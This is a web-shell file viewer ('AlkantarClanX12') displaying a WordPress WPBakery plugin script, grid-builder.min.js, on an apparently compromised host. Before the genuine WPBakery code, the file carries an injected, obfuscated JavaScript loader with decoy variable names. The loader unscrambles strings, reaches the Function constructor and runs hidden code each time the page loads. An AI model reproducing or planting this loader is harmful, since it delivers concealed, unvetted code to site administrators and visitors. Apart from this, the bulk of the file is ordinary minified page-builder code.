AlkantarClanX12

Your IP : 3.149.235.66


Current Path : /home/thanudqk/public_html/wp-content/plugins/js_composer/assets/js/dist/
Upload File :
Current File : /home/thanudqk/public_html/wp-content/plugins/js_composer/assets/js/dist/grid-builder.min.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*!
 * WPBakery Page Builder v6.0.0 (https://wpbakery.com)
 * Copyright 2011-2022 Michael M, WPBakery
 * License: Commercial. More details: http://go.wpbakery.com/licensing
 */

// jscs:disable
// jshint ignore: start

!function(){"use strict";vc.events.on("vc:access:initialize",function(access){access.add("be_editor",vc_user_access().editor("grid_builder")),access.add("classic_editor",!1),vc.events.trigger("vc:access:grid_builder:ready",access)})}(),function($){"use strict";vc.gridItemEditor=!0,vc.Storage.prototype.getContent=function(){var content;return _.isObject(window.tinymce)&&tinymce.editors.content&&tinymce.editors.content.save(),(content=window.vc_wpnop($("#content").val())).length?content:vcDefaultGridItemContent},vc.visualComposerView.prototype.rowSortableSelector="> [data-element_type]",vc.visualComposerView.prototype.events={"click #vc_templates-editor-button":"openTemplatesWindow",'click [data-vc-navbar-control="edit"]':"openVcGitemEditForm",'click [data-vc-navbar-control="preview"]':"renderGitemPreview",'change [data-vc-navbar-control="preview_width"]':"setPreviewItemWidth","click #wpb-save-post":"save",'change [data-vc-navbar-control="animation"]':"changeAnimation"},vc.visualComposerView.previewActivated=!1,vc.visualComposerView.prototype.renderGitemPreview=function(e){e&&e.preventDefaul&&e.preventDefault(),this.previewActivated?this.hidePreview():(vc.showSpinner(),this.sendDataGitemPreview())},vc.visualComposerView.prototype.sendDataGitemPreview=function(){var $form;$('[data-vc-grid-item="preview"]').html('<iframe name="vc_gitem-preview-iframe"></iframe>').addClass("vc_visible"),($form=$('<form id="vc_gitem-preview-form" action="'+encodeURI(ajaxurl)+'" method="post" target="vc_gitem-preview-iframe" style="position: absolute;visibility: hidden;right: 0; bottom:0"><input type="hidden" name="action" value="vc_gitem_preview"><input type="hidden" id="vc_gitem-preview-form-shortcode-string" name="shortcodes_string"><input type="hidden" name="post_id"><input type="hidden" name="_vcnonce" value="'+window.vcAdminNonce+'"><input type="submit" name="submit">').prependTo("body")).find('[name="post_id"]').val($("#post_ID").val()),$form.find('[name="shortcodes_string"]').val(vc.storage.getContent()),$form.find('[type="submit"]').trigger("click"),$form.remove()},vc.visualComposerView.prototype.showPreview=function(e){$("#wpbakery_content").hide(),$('[data-vc-grid-item="preview"]').addClass("vc_visible"),_.isString(e)&&$('[data-vc-grid-item="navbar_preview_width"] select').val(e),$('[data-vc-grid-item="navbar_preview_width"]').addClass("vc_visible"),vc.hideSpinner(),$('[data-vc-navbar-control="preview"]').text(i18nLocaleGItem.builder),this.previewActivated=!0},vc.visualComposerView.prototype.hidePreview=function(){$("#wpbakery_content").show(),$('[data-vc-grid-item="preview"]').removeClass("vc_visible").empty(),$('[data-vc-grid-item="navbar_preview_width"]').removeClass("vc_visible"),this.previewActivated=!1,$('[data-vc-navbar-control="preview"]').text(i18nLocaleGItem.preview)},vc.visualComposerView.prototype.setPreviewItemWidth=function(e){var iframeWindow=$("#vc_gitem-preview iframe").get(0).contentWindow;_.isString(e)?$('[data-vc-grid-item="navbar_preview_width"] select').val(e):e&&e.currentTarget&&iframeWindow.vcSetItemWidth($(e.currentTarget).val())},vc.visualComposerView.prototype.openVcGitemEditForm=function(e){e&&e.preventDefaul&&e.preventDefault();e=vc.shortcodes.findWhere({shortcode:"vc_gitem"});this.previewActivated&&this.hidePreview(),e&&vc.edit_element_block_view.render(e)},vc.visualComposerView.prototype.setSortable=function(){return $(".wpb_column_container").sortable({forcePlaceholderSize:!0,forceHelperSize:!1,connectWith:".wpb_column_container",placeholder:"vc_placeholder",items:"> .wpb_sortable.wpb_content_element,> .wpb_content_element.vc-non-draggable",cancel:".vc-non-draggable",helper:this.renderPlaceholder,distance:3,scroll:!0,scrollSensitivity:70,cursor:"move",cursorAt:{top:20,left:16},tolerance:"intersect",start:function(){$("#wpbakery_content").addClass("vc_sorting-started"),$(".vc_not_inner_content").addClass("dragging_in")},stop:function(event,ui){$("#wpbakery_content").removeClass("vc_sorting-started"),$(".dragging_in").removeClass("dragging_in");var tag=ui.item.data("element_type"),parent_tag=ui.item.parent().closest("[data-element_type]").data("element_type"),allowed_container_element=!!_.isUndefined(vc.map[parent_tag].allowed_container_element)||vc.map[parent_tag].allowed_container_element;vc.check_relevance(parent_tag,tag)||$(this).sortable("cancel"),_.isObject(vc.map[tag])&&(_.isBoolean(vc.map[tag].is_container)&&!0===vc.map[tag].is_container||!_.isEmpty(vc.map[tag].as_parent))&&!0!==allowed_container_element&&allowed_container_element!==ui.item.data("element_type").replace(/_inner$/,"")&&$(this).sortable("cancel"),$(".vc_sorting-empty-container").removeClass("vc_sorting-empty-container")},update:this.updateElementsSorting,over:function(event,ui){var tag=ui.item.data("element_type"),parent_tag=ui.placeholder.closest("[data-element_type]").data("element_type"),allowed_container_element=!!_.isUndefined(vc.map[parent_tag].allowed_container_element)||vc.map[parent_tag].allowed_container_element;return!vc.check_relevance(parent_tag,tag)||_.isObject(vc.map[tag])&&(_.isBoolean(vc.map[tag].is_container)&&!0===vc.map[tag].is_container||!_.isEmpty(vc.map[tag].as_parent))&&!0!==allowed_container_element&&allowed_container_element!==ui.item.data("element_type").replace(/_inner$/,"")?(ui.placeholder.addClass("vc_hidden-placeholder"),!1):(ui.sender&&ui.sender.length&&!ui.sender.find("[data-element_type]:visible").length&&ui.sender.addClass("vc_sorting-empty-container"),ui.placeholder.removeClass("vc_hidden-placeholder"),void ui.placeholder.css({maxWidth:ui.placeholder.parent().width()}))}}),this},vc.visualComposerView.prototype.changeAnimation=function(e){var params,model=vc.shortcodes.findWhere({shortcode:"vc_gitem_animated_block"});if(!model)return!1;e=$(e.currentTarget),(params=$.extend({},model.get("params"))).animation=e.val(),model.save({params:params}),this.previewActivated&&this.changePreviewAnimation(params.animation)},vc.visualComposerView.prototype.changePreviewAnimation=function(animation){var iframeWindow=$("#vc_gitem-preview iframe").get(0).contentWindow;iframeWindow&&iframeWindow.changeAnimation(animation)},vc.visualComposerView.prototype.initializeAccessPolicy=function(){this.accessPolicy={be_editor:vc_user_access().editor("grid_builder"),fe_editor:!1,classic_editor:!1}},vc.EditElementPanelView.prototype.ajaxData=function(){var params=this.model.get("params"),merged_params=vc.getMergedParams(this.model.get("shortcode"),_.extend({},vc.getDefaults(this.model.get("shortcode")),params));return _.isUndefined(params.content)||(merged_params.content=params.content),{action:"vc_edit_form",vc_grid_item_editor:"true",tag:this.model.get("shortcode"),post_id:$("#post_ID").val(),params:merged_params,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.fetchSaveSettingsDialogAjaxData=function(){return{action:"vc_action_render_settings_preset_title_prompt",vc_inline:!0,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.saveSettingsAjaxData=function(shortcode_name,title,is_default,data){return{action:"vc_action_save_settings_preset",shortcode_name:shortcode_name,is_default:is_default?1:0,vc_inline:!0,title:title,data:data,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.fetchSaveSettingsDialogAjaxData=function(){return{action:"vc_action_render_settings_preset_title_prompt",vc_inline:!0,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.loadSettingsAjaxData=function(id){return{action:"vc_action_get_settings_preset",vc_inline:!0,id:id,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.deleteSettingsAjaxData=function(shortcode_name,id){return{action:"vc_action_delete_settings_preset",shortcode_name:shortcode_name,vc_inline:!0,id:id,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.saveAsDefaultSettingsAjaxData=function(shortcode_name){return{action:"vc_action_set_as_default_settings_preset",shortcode_name:shortcode_name,id:this.settingsPresetId,vc_inline:!0,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.restoreDefaultSettingsAjaxData=function(shortcode_name){return{action:"vc_action_restore_default_settings_preset",shortcode_name:shortcode_name,vc_inline:!0,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.reloadSettingsMenuContentAjaxData=function(shortcode_name){return{action:"vc_action_render_settings_preset_popup",shortcode_name:shortcode_name,vc_inline:!0,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},vc.EditElementPanelView.prototype.renderSettingsPresetAjaxData=function(params){var parent_id=this.model.get("parent_id");return{action:"vc_edit_form",tag:this.model.get("shortcode"),parent_tag:parent_id?this.model.collection.get(parent_id).get("shortcode"):null,post_id:$("#post_ID").val(),params:params,vc_grid_item_editor:!0,_vcnonce:window.vcAdminNonce}},window.VcGitemView=window.VcColumnView.extend({animatedBlock:!1,cZone:!1,events:{'click > .vc_controls [data-vc-control="delete"]':"deleteShortcode",'click > .vc_controls [data-vc-control="add"]':"addElement",'click > .vc_controls [data-vc-control="edit"]':"editElement",'click > .vc_controls [data-vc-control="clone"]':"clone",'click [data-vc-gitem="add-c"]':"addCZone",'click > .vc_empty [data-vc-gitem="add-ab"]':"addAnimatedBlock"},initialize:function(options){window.VcColumnView.__super__.initialize.call(this,options),vc.shortcodes.on("all",this.setCZoneHeight)},setContent:function(){this.$content=this.$el.find("> .vc_gitem-content"),_.bindAll(this,"savePositionC","startCDragging","stopCDragging")},setCEmpty:function(){this.$content.addClass("vc_empty-c")},unsetCEmpty:function(){this.$content.removeClass("vc_empty-c")},setEmpty:function(){this.$content.addClass("vc_empty")},unsetEmpty:function(){this.$content.removeClass("vc_empty")},checkIsEmpty:function(){vc.shortcodes.where({parent_id:this.model.id,shortcode:"vc_gitem_zone_c"}).length?this.unsetCEmpty():this.setCEmpty(),vc.shortcodes.where({parent_id:this.model.if,shortcode:"vc_gitem_animated_block"}).length?this.unsetEmpty():this.setEmpty(),window.VcColumnView.__super__.checkIsEmpty.call(this)},addAnimatedBlock:function(e){e&&e.preventDefault&&e.preventDefault(),this.animatedBlock||(vc.storage.lock(),e=vc.shortcodes.create({shortcode:"vc_gitem_animated_block",parent_id:this.model.get("id"),order:1,params:vc.getDefaults("vc_gitem_animated_block"),root_id:this.model.get("id")}),vc.storage.lock(),e.view.addZone("a"),e.view.addZone("b"))},addCZone:function(e){var e=$(e.currentTarget),position=e.data("vcPosition");if(this.cZone)return this.updateCZonePosition(e,position),!1;(e=new vc.shortcode({shortcode:"vc_gitem_add_c_zone",params:{cZonePosition:this.getCZoneModelOrder(position),position:position},parent_id:this.model.get("id")})).view=this,vc.add_element_block_view.render(e)},updateCZonePosition:function($column,position){this.setCZonePosition(position),this.setCZoneOrder(position),this.changeCZonePosition($column),this.setCssPosition($column)},setCZoneOrder:function(position){this.cZone.save({order:this.getCZoneModelOrder(position)})},changeCZonePosition:function($column){this.cZone.view.$el.appendTo($column)},setCZonePosition:function(position){this.model.save({params:_.extend({},this.model.get("params")||{},{c_zone_position:position})})},setCZoneHeight:function(){var $left=$('[data-vc-gitem="add-c"][data-vc-position="left"]'),$animated=$('[data-element_type="vc_gitem_animated_block"]'),$right=$('[data-vc-gitem="add-c"][data-vc-position="right"]');$left.height("auto"),$right.height("auto"),$animated=Math.max($left.height(),$animated.height(),$right.height()),$left.css("height",$animated),$right.css("height",$animated)},getCZoneModelOrder:function(position){var animatedBlockOrder=this.animatedBlock.get("order");return"top"===position||"left"===position?animatedBlockOrder-1:animatedBlockOrder+1},cZoneRemoved:function(){this.cZone=!1,this.$content.find(".vc_zone-added").removeClass("vc_zone-added"),this.setCZonePosition("")},setDraggableC:function(){this.$content.find('[data-vc-gitem="add-c"]').sortable({items:'[data-element_type="vc_gitem_zone_c"]:not(.vc-non-draggable)',connectWith:'[data-vc-gitem="add-c"]',forcePlaceholderSize:!0,forceHelperSize:!1,placeholder:"vc_placeholder",update:this.savePositionC,start:this.startCDragging,stop:this.stopCDragging}).disableSelection()},startCDragging:function(event,ui){this.$el.addClass("vc_sorting")},stopCDragging:function(event,ui){this.$el.removeClass("vc_sorting")},savePositionC:function(event,ui){var ui=ui.item.parent(),position=ui.data("vcPosition")||"bottom";vc.storage.lock(),this.cZone&&this.cZone.save({order:this.getCZoneModelOrder(position)}),this.setCZonePosition(position),this.setCssPosition(ui)},setCssPosition:function($container){this.$content.find('[data-vc-gitem="add-c"].vc_zone-added').removeClass("vc_zone-added"),$container.addClass("vc_zone-added")},addShortcode:function(view){var position,tag=view.model.get("shortcode");view.render(),"vc_gitem_zone_c"===tag?(position=this.model.getParam("c_zone_position")||"bottom",position=this.$content.find('[data-vc-gitem="add-c"][data-vc-position="'+position+'"]'),view.$el.appendTo(position.addClass("vc_zone-added")),this.setDraggableC(),this.cZone=view.model):"vc_gitem_animated_block"===tag&&(view.$el.appendTo($('[data-vc-gitem="add-ab"]')),this.animatedBlock=view.model)}}),window.VcGitemAnimatedBlockView=window.VcColumnView.extend({aZone:!1,bZone:!1,currentAnimation:"",events:{'click > .vc_controls [data-vc-control="delete"]':"deleteShortcode",'click > .vc_controls [data-vc-control="add"]':"addElement",'click > .vc_controls [data-vc-control="edit"]':"editElement",'click > .vc_controls [data-vc-control="clone"]':"clone",'click > .vc_empty-a [data-vc-gitem-animated-block="add-a"]':"addAZone",'click > .vc_empty-b [data-vc-gitem-animated-block="add-b"]':"addBZone","click > .vc_gitem-animated-block-content [data-vc-gitem-tab-link]":"activateZone",'click > .vc_gitem-animated-block-content [data-vc-control="edit"]':"showEditForm"},render:function(){var animation;return window.VcGitemAnimatedBlockView.__super__.render.call(this),(animation=this.model.getParam("animation"))&&$('[data-vc-navbar-control="animation"]').val(animation),this},setContent:function(){this.$content=this.$el.find("> .vc_gitem-animated-block-content")},buildDesignHelpers:function(){window.VcGitemAnimatedBlockView.__super__.buildDesignHelpers.call(this),this.setAnimationDropDown(),this.setAnimationClassToBlock()},changeShortcodeParams:function(model){window.VcGitemAnimatedBlockView.__super__.changeShortcodeParams.call(this,model)},setAnimationClassToBlock:function(){var animation=this.model.getParam("animation")||"single";this.currentAnimation&&this.$el.removeClass("vc_gitem-animation-"+this.currentAnimation),this.$el.addClass("vc_gitem-animation vc_gitem-animation-"+animation),this.currentAnimation=animation},setAnimationDropDown:function(){var animation=this.model.getParam("animation");animation&&$('[data-vc-gitem-animated-block="animation-dropdown"]').val(animation),""===animation&&this.activateZone({currentTarget:$(".vc_gitem-tab-a").get(0)})},addAZone:function(e){e&&e.preventDefault&&e.preventDefault(),this.addZone("a")},addBZone:function(e){e&&e.preventDefault&&e.preventDefault(),this.addZone("b")},addZone:function(zone){this[zone+"Zone"]||vc.shortcodes.create({shortcode:"vc_gitem_zone_"+zone,parent_id:this.model.get("id"),params:vc.getDefaults("vc_gitem_zone_"+zone)})},addTab:function(zone,id){id=$('<li class="vc_gitem-animated-block-tab vc_gitem-tab-'+zone+'"><a href="#" data-vc-gitem-tab-link="'+zone+'"><span class="vc_label">'+this.getZoneLabel(zone)+'</span></a><a class="vc_control column_edit" data-vc-control="edit" data-vc-zone-model-id="'+id+'"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a></li>');id.appendTo('[data-vc-gitem-animated-block="tabs"]'),"a"===zone&&this.switchZone(id.find("a"))},getZoneLabel:function(zone){var zoneSettings=vc.map["vc_gitem_zone_"+zone]||!1;return zoneSettings&&zoneSettings.name?zoneSettings.name:zone},activateZone:function(e){var $control=$(e.currentTarget);e&&e.preventDefault&&e.preventDefault(),$control.hasClass("vc_active")||this.switchZone($control)},showEditForm:function(e){e&&e.preventDefault&&e.preventDefault(),(e=$(e.currentTarget).data("vcZoneModelId"))&&vc.app.views[e]&&vc.app.views[e].editElement()},switchZone:function($zone){this.$el.find('[data-vc-gitem-animated-block="tabs"] .vc_active, [data-vc-gitem-animated-block].vc_active').removeClass("vc_active"),$zone.parent().addClass("vc_active"),this.$el.find('[data-vc-gitem-animated-block="add-'+$zone.data("vcGitemTabLink")+'"]').addClass("vc_active")},setAEmpty:function(){this.$content.addClass("vc_empty-a")},unsetAEmpty:function(){this.$content.removeClass("vc_empty-a")},setBEmpty:function(){this.$content.addClass("vc_empty-b")},unsetBEmpty:function(){this.$content.removeClass("vc_empty-b")},setEmpty:function(){this.setAEmpty(),this.setBEmpty()},checkIsEmpty:function(){vc.shortcodes.where({parent_id:this.model.get("id"),shortcode:"vc_gitem_zone_a"}).length?this.unsetAEmpty():this.setAEmpty(),vc.shortcodes.where({parent_id:this.model.get("id"),shortcode:"vc_gitem_zone_b"}).length?this.unsetBEmpty():this.setBEmpty()},addShortcode:function(view){var tag=view.model.get("shortcode");view.render(),"vc_gitem_zone_a"===tag?(view.$el.appendTo(this.$el.find('[data-vc-gitem-animated-block="add-a"]')),this.aZone=view.model,this.addTab("a",view.model.get("id"))):"vc_gitem_zone_b"===tag&&(view.$el.appendTo(this.$el.find('[data-vc-gitem-animated-block="add-b"]')),this.bZone=view.model,this.addTab("b",view.model.get("id")))}}),window.VcGitemZoneView=window.VcColumnView.extend({addElement:function(e){e&&e.preventDefault&&e.preventDefault(),vc.storage.lock(),e=vc.shortcodes.create({shortcode:"vc_gitem_row",params:_.extend({},vc.getDefaults("vc_gitem_row")),parent_id:this.model.get("id")}),vc.shortcodes.create({shortcode:"vc_gitem_col",params:_.extend({width:"1/1"},vc.getDefaults("vc_gitem_col")),parent_id:e.get("id")})},buildDesignHelpers:function(){var matches,image,color,css=this.model.getParam("css"),$before=this.$el.find("> .vc_controls").get(0),featuredImage=this.model.getParam("featured_image");this.$el.find('> [data-vc-helper="color"]').remove(),this.$el.find('> [data-vc-helper="image"]').remove(),this.$el.find('> [data-vc-helper="image-featured"]').remove(),(matches=css.match(/background\-image:\s*url\(([^\)]+)\)/))&&!_.isUndefined(matches[1])&&(image=matches[1]),(matches=css.match(/background\-color:\s*([^\s\;]+)\b/))&&!_.isUndefined(matches[1])&&(color=matches[1]),(matches=css.match(/background:\s*([^\s]+)\b\s*url\(([^\)]+)\)/))&&!_.isUndefined(matches[1])&&(color=matches[1],image=matches[2]),image&&$('<span class="vc_css-helper vc_image-helper" data-vc-helper="image" style="background-image: url('+image+');" title="'+i18nLocale.column_background_image+'"></span>').insertBefore($before),color&&$('<span class="vc_css-helper vc_color-helper" data-vc-helper="color" style="background-color: '+color+'" title="'+i18nLocale.column_background_color+'"></span>').insertBefore($before),"yes"===featuredImage&&$('<span class="vc_css-helper vc_featured" data-vc-helper="image-featured"></span>').insertBefore($before)}}),window.VcGitemZoneCView=window.VcGitemZoneView.extend({removeView:function(){window.VcGitemZoneCView.__super__.removeView.call(this);var parentModel=vc.shortcodes.get(this.model.get("parent_id"));parentModel&&vc.app.views[parentModel.get("id")]&&vc.app.views[parentModel.get("id")].cZoneRemoved()}}),window.VcGitemRowView=window.VcRowView.extend({zone:"",sortingSelector:"> [data-element_type=vc_gitem_col]",getChildTag:function(){return"vc_gitem_col"},addElement:function(e){e&&e.preventDefault&&e.preventDefault(),vc.shortcodes.create({shortcode:this.getChildTag(),params:{},parent_id:this.model.id}),this.setActiveLayoutButton()},buildDesignHelpers:function(){}}),window.VcGitemColView=window.VcColumnView.extend({events:{'click > .vc_controls [data-vc-control="delete"]':"deleteShortcode",'click > .vc_controls [data-vc-control="add"]':"addElement",'click > .vc_controls [data-vc-control="edit"]':"editElement",'click > .vc_controls [data-vc-control="clone"]':"clone","click > .vc_controls [data-vc-align]":"changeTextAlign","click > .wpb_element_wrapper > .vc_empty-container":"addToEmpty"},designHelpersSelector:"> .vc_controls .column_edit",changeTextAlign:function(e){if(e){if(e.preventDefault&&e.preventDefault(),(e=$(e.currentTarget)).hasClass("vc_active"))return!1;e.parent().find(".vc_active").removeClass("vc_active"),e.addClass("vc_active"),_.defer(this.setTextAlign,e.data("vcAlign")||"left")}else this.$el.find('> .vc_controls [data-vc-align="'+(this.model.getParam("align")||"left")+'"]').addClass("vc_active")},setTextAlign:function(align){align=_.extend({},this.model.get("params"),{align:align});this.model.save({params:align})},render:function(){return _.bindAll(this,"setTextAlign"),window.VcGitemColView.__super__.render.call(this),this.changeTextAlign(void 0),this}}),vc.AddElementUIPanelBackendEditor.prototype.createElement=function(e){e&&e.preventDefault&&e.preventDefault();var cZoneRow,cZone,parent_id=!1,e=$(e.currentTarget).data("tag");!1!==this.model&&"vc_gitem_add_c_zone"===this.model.get("shortcode")?(this.model.view.setCZonePosition(this.model.getParam("position")),vc.storage.lock(),cZone=vc.shortcodes.create({shortcode:"vc_gitem_zone_c",parent_id:this.model.get("parent_id"),params:_.extend({},vc.getDefaults("vc_gitem_zone_c")),order:this.model.getParam("cZonePosition")}),this.model.view.cZone=cZone,vc.storage.lock(),cZoneRow=vc.shortcodes.create({shortcode:"vc_gitem_row",params:_.extend({},vc.getDefaults("vc_gitem_row")),parent_id:cZone.get("id")}),vc.storage.lock(),parent_id=vc.shortcodes.create({shortcode:"vc_gitem_col",params:_.extend({width:"1/1"},vc.getDefaults("vc_gitem_col")),parent_id:cZoneRow.get("id")}).get("id"),cZone=null):!1!==this.model&&(parent_id=this.model.get("id")),cZoneRow=vc.shortcodes.create({shortcode:e,parent_id:parent_id,params:vc.getDefaults(e),root_id:vc.shortcodes.findWhere({shortcode:"vc_gitem"})||!1}),"vc_gitem_row"===e&&vc.shortcodes.create({shortcode:"vc_gitem_col",params:{width:"1/1"},parent_id:cZoneRow.get("id"),root_id:cZoneRow.get("id")}),this.model=cZoneRow,cZone=!(_.isBoolean(vc.getMapped(e).show_settings_on_create)&&!1===vc.getMapped(e).show_settings_on_create),this.model.get("shortcode"),this.hide(),cZone&&this.showEditForm()},vc.TemplatesPanelViewBackend.prototype.templateLoadPreviewAction="vc_grid_item_editor_load_template_preview",vc.TemplatesPanelViewBackend.prototype.renderTemplate=function(html){_.each(vc.filters.templates,function(callback){html=callback(html)}),vc.storage.setContent(html),vc.shortcodes.fetch({reset:!0}),this.hide()},$(document).ready(function(){$('[name="screen_columns"][value="1"]').trigger("click"),$("#screen-meta-links, #screen-meta").hide()})}(window.jQuery);